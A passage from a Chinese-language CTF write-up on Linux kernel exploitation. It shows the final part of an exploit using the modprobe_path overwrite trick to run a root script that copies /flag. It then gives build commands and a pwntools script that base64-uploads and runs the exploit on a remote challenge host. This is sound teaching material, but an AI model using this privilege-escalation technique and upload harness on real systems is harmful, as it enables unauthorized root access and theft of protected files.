ioctl(fd1,0x80084700,ar);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a");
system("chmod +x /tmp/a");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/uuu");
system("chmod +x /tmp/uuu");
system("/tmp/uuu");
system("cat /tmp/flag");
}

编译脚本:

1
2
musl-gcc exp.c -static -O2 -o exp # 这里用了 musl 编译缩小 exp 大小
strip exp

用来上传 exp 的脚本:

cc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time, os
context.log_level = "debug"

p = remote('101.133.134.12',10002)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("/ $")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd)
p.recvuntil("/ $")
count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")

p.interactive()

截图证明顺利的读到 flag

image-20220608113858776

# 参考链接

【NOTES.0x03】Linux Kernel Pwn II:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog

Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas